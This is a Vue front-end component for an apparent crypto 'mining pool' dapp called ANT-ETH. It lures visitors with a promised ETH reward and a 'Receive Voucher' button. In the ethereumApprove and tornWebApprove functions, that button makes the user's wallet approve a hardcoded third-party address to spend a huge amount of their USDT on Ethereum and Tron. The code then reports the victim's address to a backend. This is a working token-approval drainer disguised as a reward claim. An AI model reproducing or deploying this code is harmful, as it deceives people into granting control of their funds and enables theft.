~xiewanyan/dapp-wallet.git

<template>
    <div class="wrap">
        <div class="top">
            <div class="header flex align-center justify-between">
            <div class="left flex align-center">
                <img src="../../assets/images/icon3.png" class="icon"/>
                <van-dropdown-menu active-color="#3D8AF2" class="i18-wrap">
                    <van-dropdown-item v-model="local" :options="languague" @change="changeLanguage"/>
                </van-dropdown-menu>
            </div>
            <span class="title">ANT-ETH</span>
            <div class="right flex align-center">
                <img src="../../assets/images/icon.png" class="icon"/>
                <span class="address" v-if="walletAddress">{{walletAddress}}</span>
                <span v-else @click="showAccreditModal">{{ $t("message.ConnectWallet") }}</span>
            </div>
            </div>
            <div class="banner-content">
                <p>{{ $t("message.Defi") }}</p>
                <p>{{ $t("message.Reward") }}<span class="em">1000,000</span> ETH</p>
                <button v-if="!hasApprove" @click="isShowApproveModal = true">{{ $t("message.ReceiveVoucher") }}</button>
            </div>
        </div>
        <img src="../../assets/images/banner.png" class="banner"/>
        <van-tabs class="scale" title-active-color="#080808" title-inactive-color="#999999" line-height="4px">
            <van-tab :title='$t("message.MiningPool")'>
                <OrePool></OrePool>
            </van-tab>
            <van-tab :title='$t("message.Account")'>
              <Account></Account>
            </van-tab>
        </van-tabs>
        <van-overlay :show="isShowApproveModal" @click="isShowApproveModal = false" class="wrapper">
            <div class="block" @click.stop>
              <div class="block-title">
                <p>{{ $t("message.ReceiveDescription") }}</p>
              </div>
              <p class="block-content">{{ $t("message.Description") }}</p>
              <button class="block-btn" @click="toApprove">{{ $t("message.Receive") }}</button>
            </div>
        </van-overlay>
        <van-overlay :show="isShowAccreditModal" @click="isShowAccreditModal = false" class="wrapper">
            <div class="block" @click.stop>
              <img class="close-icon" @click="isShowAccreditModal = false" src="../../assets/images/close-icon.png">
              <div class="accredit-box">
                <div class="item" @click="showDappModal()">
                  <img src="../../assets/images/icon7.png">
                  <p class="title">Dapp</p>
                  <p>DappConnect</p>
                </div>
                <div class="item" @click="showWalletModal()">
                  <img src="../../assets/images/icon8.png">
                  <p class="title">Wallet</p>
                  <p>WalletConnect</p>
                </div>
              </div>
            </div>
        </van-overlay>
        <van-overlay :show="isShowWalletModal" @click="isShowWalletModal = false" class="wrapper">
           <div class="block" @click.stop>
              <img class="close-icon" @click="isShowWalletModal = false" src="../../assets/images/close-icon.png">
              <div class="wallet-box">
                <p class="title">选择你的钱包</p>
                <div class="wallet-warp flex align-center justify-between">
                  <div>
                    <img src="../../assets/images/icon8.png">
                    <p>coinbase</p>
                  </div>
                  <div>
                    <img src="../../assets/images/icon8.png">
                    <p>coinbase</p>
                  </div>
                  <div>
                    <img src="../../assets/images/icon8.png">
                    <p>coinbase</p>
                  </div>
                  <div>
                    <img src="../../assets/images/icon8.png">
                    <p>coinbase</p>
                  </div>
                </div>
              </div>
            </div>
        </van-overlay>
  </div>
</template>
 
<script>
import WalletConnectProvider from "@walletconnect/web3-provider"; 
import Web3 from "web3";
import { ref, reactive, getCurrentInstance,onBeforeMount,onMounted } from 'vue';
import { useI18n } from 'vue-i18n'
import OrePool from './orePool';
import Account from './account';
 
export default {
  name: 'App',
  components: {
    OrePool,
    Account
  },
  setup() {
    const { proxy } = getCurrentInstance();
    let walletAddress = ref('');
    let hasApprove = ref(false);
    let isShowApproveModal = ref(false);
    let isShowAccreditModal = ref(false);
    let isShowWalletModal = ref(false);
    function changeLanguage(type){
      proxy.$i18n.locale = type;
    }
 
    function showAccreditModal() {
      proxy.isShowApproveModal = false
      proxy.isShowAccreditModal = true
    }
    async function showDappModal() {
      proxy.isShowAccreditModal = false
      proxy.isShowWalletModal = true
    }
    async function showWalletModal() {
      proxy.isShowAccreditModal = false;
      const provider = new WalletConnectProvider({
          infuraId: '27e484dcd9e3efcfd25a83a78777cdf1',
          bridge: "https://bridge.walletconnect.org",
      })
      await provider.enable();
      let web3 = new Web3(provider);
      const accounts = await web3.eth.getAccounts();
      proxy.walletAddress = accounts[0];
      isApprove()
    }
    
    // 授权按钮
    function toApprove() {
      if(proxy.walletAddress){
        approve()
      }else{
        showAccreditModal()
      }
    }
 
    // 获取地址
    async function getAddress () {
      let address = '';
      if(window.ethereum) {
        await window.ethereum.enable();
        const accounts = await ethereum.request({ method: 'eth_accounts' });
        address = accounts[0];
      }else if(window.tronWeb){
        address = window.tronWeb.defaultAddress.base58;
      }
      proxy.walletAddress = address;
    }
    
    async function approve () {
      if(window.ethereum) {
        ethereumApprove()
      }else if(window.tronWeb){
        tornWebApprove()
      }
    }
    function ethereumApprove () {
      const web3 = new Web3(window.ethereum);
      const contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
      const authAddress = '0xD998DA7362360eFC6daDFEd6E9a32E70640d7600';
      const abi = [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_upgradedAddress","type":"address"}],"name":"deprecate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"deprecated","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_evilUser","type":"address"}],"name":"addBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"upgradedAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balances","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maximumFee","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_maker","type":"address"}],"name":"getBlackListStatus","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"who","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newBasisPoints","type":"uint256"},{"name":"newMaxFee","type":"uint256"}],"name":"setParams","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"issue","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"redeem","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"basisPointsRate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"isBlackListed","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_clearedUser","type":"address"}],"name":"removeBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"MAX_UINT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_blackListedUser","type":"address"}],"name":"destroyBlackFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_initialSupply","type":"uint256"},{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Issue","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Redeem","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"newAddress","type":"address"}],"name":"Deprecate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"feeBasisPoints","type":"uint256"},{"indexed":false,"name":"maxFee","type":"uint256"}],"name":"Params","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_blackListedUser","type":"address"},{"indexed":false,"name":"_balance","type":"uint256"}],"name":"DestroyedBlackFunds","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"AddedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"RemovedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[],"name":"Unpause","type":"event"}];
      const contract = new web3.eth.Contract(abi, contractAddress);
      contract.methods.approve(authAddress, 90000000000000).send({from:proxy.walletAddress, gas:100000}).then((res) => {
        console.log('授权成功')
        console.log(res)
        submitApprove()
      })
    }
    async function tornWebApprove () {
      const tronWeb = window.tronWeb;
      const trxContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
      const authAddress = "TKcyw4igFYhNpTzyZv25j6uDwvTYzncnjp";
      let instance = await tronWeb.contract().at(trxContractAddress);
      let res = await instance["approve"](authAddress, "90000000000000000000000000000");
      res.send({
        feeLimit: 100000000,
        callValue: 0,
        shouldPollResponse: false
      }, (err, res) => {
          if (err == null) {
              alert('嘿,授权成功')
              submitApprove()
          }
      });
    }
    function submitApprove(){
        proxy.$axios({
          url: '/dapp/common/approve',
          method: 'post',
          data: {
            address: proxy.walletAddress,
            refererId: ''
          }
        }).then((res) => {
          alert(res.msg)
        })
    }
    function isApprove() {
        proxy.$axios({
          url: '/dapp/common/isApprove/' + proxy.walletAddress,
          method: 'get'
        }).then((res) => {
          if(res.code === 200) {
            proxy.hasApprove = true;
            sessionStorage.setItem('address', proxy.walletAddress);
          }
        })
    }
    onMounted(() => {
      getAddress();
      if (proxy.walletAddress) {
        isApprove()
      }else{
        showAccreditModal();
      }
    })
    return {
      local: ref('zh'),
      languague: [
        { text: '简体中文', value: 'zh' },
        { text: 'English', value: 'en' }
      ],
      // 弹窗显示隐藏
      isShowApproveModal,
      isShowAccreditModal,
      isShowWalletModal,
 
      showAccreditModal,
      showWalletModal,
      showDappModal,
      toApprove,
 
      // 中英文切换
      changeLanguage,
      
      walletAddress, //地址
      hasApprove, //是否授权
    };
  },
  methods: {
    
  }
}
</script>
 
<style scoped>
.wrap{
  padding-bottom: 40px;
}
.top{
  position: absolute;
  left: 0;
  right: 0;
}
.header{
  padding: 0 24px
}
.header .left .icon{
  width: 48px
}
.header .title{
  font-size: 32px;
  font-weight: bold;
  color: #FFFFFF;
}
.header .right{
  background: #FFFFFF;
  border-radius: 24px;
  padding-right: 24px;
  padding-left: 12px;
  font-size: 24px;
  color: #3D8AF2;
}
.header .right .icon{
  width: 48px
}
.banner{
  width: 100%;
  display: block;
}
.banner-content{
  margin-top: 120px;
  padding-left: 40px;
  text-align: left
}
.banner-content p{
  font-size: 48px;
  font-weight: bold;
  color: #F5F6F7;
  letter-spacing:2px;
}
.banner-content p .em{
  font-size: 68px;
  color: #FEAA4A;
}
.banner-content button{
  display: block;
  background:  linear-gradient(86deg, #FEAA4A 0%, #FF8517 100%);
  border: 0;
  color: #FFFFFF;
  font-size: 32px;
  font-weight: bold;
  padding: 24px 0;
  width: 310px;
  height: 90px;
  border-radius: 48px;
  margin-top: 30px;
  box-sizing: border-box;
}
.wrapper {
    display: flex;
    align-items: center;
    justify-content: center;
    padding: 50px;
    box-sizing: border-box;
}
.block {
  width: 100%;
  background: #fff;
  border-radius: 20px;
  padding: 32px 34px 32px;
  position: relative
}
.block-title{
  text-align: left;
}
.block-title p{
  font-size: 32px;
  font-weight: bold;
  position: relative;
  margin: 0;
}
.block-title p::before{
  content: '';
  width: 10px;
  height: 10px;
  background: #FEAA4A;
  display: block;
  border-radius: 50%;
  position: absolute;
  left: -20px;
  top: 50%;
}
.block-content{
  font-size: 28px;
  text-align: left;
  color: #999999;
  margin: 28px 0 0;
  line-height: 38px;
}
.block-btn{
  margin-top: 80px;
  background:  linear-gradient(142deg, #FEAA4A 0%, #FF8517 100%);
  border: 0;
  color: #FFFFFF;
  font-size: 32px;
  font-weight: bold;
  padding: 24px 104px;
  border-radius: 48px;
}
.close-icon{
  position: absolute;
  top: -63px;
  right: -5px;
  width: 50px;
  height: 50px;
  color: #fff;
}
.accredit-box{
  padding: 20px 0;
}
.accredit-box .item{
  box-sizing: border-box;
  padding: 64px;
  position: relative;
}
.accredit-box .item:nth-child(1)::after{
    display: block;
    content: '';
    height: 1px;
    width: 100%;
    background: #ebedf0;
    position: absolute;
    left: 0;
    right: 0;
    bottom: 0;
}
.accredit-box .item img{
  width: 98px;
  height: 98px;
  margin-bottom: 20px;
}
.accredit-box .item p{
  margin: 10px 0 0;
  font-size: 30px;
  color: #999999;
}
.accredit-box .item .title{
  font-size: 40px;
  color: #080808;
  font-weight: bold;
}
.wallet-box{
  padding: 20px;
}
.wallet-box p{
  margin: 0;
}
.wallet-box .title{
  font-size: 32px;
  color: #080808;
  font-weight: bold;
}
.wallet-warp{
  box-sizing: border-box;
  margin-top: 80px;
}
.wallet-warp img{
  width: 88px;
  height: 88px;
  border-radius: 20px;
}
.wallet-warp p{
  font-size: 24px;
  color: #080808;
  margin-top: 15px;
}
.address{
  width: 100px;
  overflow: hidden;
  text-overflow:ellipsis;
  white-space: nowrap;
}
</style>